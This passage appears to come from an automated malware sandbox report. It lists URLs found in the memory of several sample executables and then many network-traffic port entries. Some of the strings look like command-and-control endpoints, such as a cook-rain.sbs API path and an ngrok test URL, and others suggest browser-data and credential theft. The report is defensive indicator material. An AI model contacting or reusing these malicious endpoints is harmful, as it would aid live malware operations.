Source: 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_476.6.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_476.6.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: fd5d5b30e9.exe, 0000001D.00000002.2607162272.000000000080A000.00000040.00000001.01000000.0000000E.sdmp, fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: fd5d5b30e9.exe, 0000001D.00000002.2607162272.000000000080A000.00000040.00000001.01000000.0000000E.sdmp, fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: chromecache_476.6.dr	String found in binary or memory: https://apis.google.com
Source: e2374fac-a78a-4883-9dd5-5c6b309f5d74.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: 1e42688e0b.exe, 0000001E.00000002.2651759984.0000000005979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/c
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1739620358.0000000023D33000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBAAKJDGCBFHCFC.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1739620358.0000000023D33000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000002.2651759984.0000000005979000.00000004.00000800.00020000.00000000.sdmp, KEBKJDBAAKJDGCBFHCFC.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2571161065.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2571161065.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: e2374fac-a78a-4883-9dd5-5c6b309f5d74.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: e2374fac-a78a-4883-9dd5-5c6b309f5d74.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_476.6.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_476.6.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1739620358.0000000023D33000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBAAKJDGCBFHCFC.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1739620358.0000000023D33000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000002.2651759984.0000000005979000.00000004.00000800.00020000.00000000.sdmp, KEBKJDBAAKJDGCBFHCFC.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 1e42688e0b.exe, 0000001E.00000003.2569997895.000000000144B000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2526817370.000000000144B000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 00000026.00000002.2627577979.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: 1e42688e0b.exe, 0000001E.00000002.2626591631.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/4
Source: 1e42688e0b.exe, 0000001E.00000002.2626591631.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/?
Source: 1e42688e0b.exe, 00000026.00000002.2627577979.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/F
Source: 1e42688e0b.exe, 0000001E.00000003.2569997895.000000000144B000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2526817370.000000000144B000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 00000026.00000002.2627577979.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 00000026.00000002.2627577979.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: 1e42688e0b.exe, 00000026.00000002.2627577979.000000000136C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api/?2
Source: 1e42688e0b.exe, 00000026.00000002.2627577979.00000000013EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apih
Source: 1e42688e0b.exe, 0000001E.00000002.2626591631.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apim
Source: 1e42688e0b.exe, 0000001E.00000002.2626591631.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apinDf
Source: 1e42688e0b.exe, 0000001E.00000003.2569997895.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiof
Source: 1e42688e0b.exe, 00000026.00000002.2627577979.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/k
Source: 1e42688e0b.exe, 00000026.00000002.2627577979.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/u
Source: 1e42688e0b.exe, 0000001E.00000003.2570249819.0000000001453000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2569997895.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/w
Source: 1e42688e0b.exe, 0000001E.00000002.2626591631.00000000013E9000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 00000026.00000002.2627577979.000000000138A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: fd5d5b30e9.exe, 0000001D.00000002.2607162272.000000000080A000.00000040.00000001.01000000.0000000E.sdmp, fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_476.6.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2571161065.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 1e42688e0b.exe, 0000001E.00000003.2571161065.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2571161065.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: KEBKJDBAAKJDGCBFHCFC.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: 1e42688e0b.exe, 0000001E.00000003.2575374868.00000000058E1000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2573332551.0000000005983000.00000004.00000800.00020000.00000000.sdmp, Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: 1e42688e0b.exe, 0000001E.00000003.2575374868.00000000058E1000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2573332551.0000000005983000.00000004.00000800.00020000.00000000.sdmp, Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10
Source: 000003.log8.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: 000003.log.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chromecache_476.6.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_476.6.dr	String found in binary or memory: https://plus.googleapis.com
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.1714173625.0000000000B24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000001.00000003.1662570505.0000000023F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: chromecache_476.6.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1739620358.0000000023D33000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000002.2651759984.0000000005979000.00000004.00000800.00020000.00000000.sdmp, KEBKJDBAAKJDGCBFHCFC.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: 1e42688e0b.exe, 0000001E.00000003.2571161065.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_476.6.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_476.6.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1739620358.0000000023D33000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000002.2651759984.0000000005979000.00000004.00000800.00020000.00000000.sdmp, KEBKJDBAAKJDGCBFHCFC.1.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: file.exe, 00000001.00000002.1714173625.0000000000B24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000001.00000002.1714173625.0000000000B24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/FBGDGCAKFCFH
Source: file.exe, 00000001.00000003.1662570505.0000000023F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000001.00000002.1714173625.0000000000B24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.1714173625.0000000000B24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: file.exe, 00000001.00000003.1662570505.0000000023F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000001.00000002.1714173625.0000000000B24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000001.00000003.1662570505.0000000023F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000001.00000002.1714173625.0000000000B24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000001.00000002.1714173625.0000000000B24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000001.00000003.1662570505.0000000023F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000001.00000002.1714173625.0000000000B24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 1e1f95e037.exe, 00000021.00000003.2563544731.0000000000B23000.00000004.00000020.00020000.00000000.sdmp, 1e1f95e037.exe, 00000021.00000002.2623729686.0000000000B26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
